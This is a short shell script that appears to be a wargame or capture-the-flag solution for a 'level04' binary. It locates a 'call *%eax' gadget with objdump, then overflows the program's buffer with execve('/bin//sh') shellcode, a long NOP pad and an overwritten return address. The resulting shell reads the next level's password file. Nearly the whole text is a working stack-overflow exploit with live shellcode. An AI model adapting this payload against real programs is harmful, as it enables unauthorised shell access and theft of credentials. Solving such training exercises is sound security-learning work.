level04.sh


1
2
3
4
5

#!/bin/sh
# $ objdump -S /levels/level04|egrep 'call   \*%eax'|cut -d : -f 1|tr -d ' '|head -n 1
# 804847f

echo "cat /home/level05/.password" | /levels/level04 "$(perl -e 'print "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x90" x 1015 . "\x7f\x84\x04\x08"')"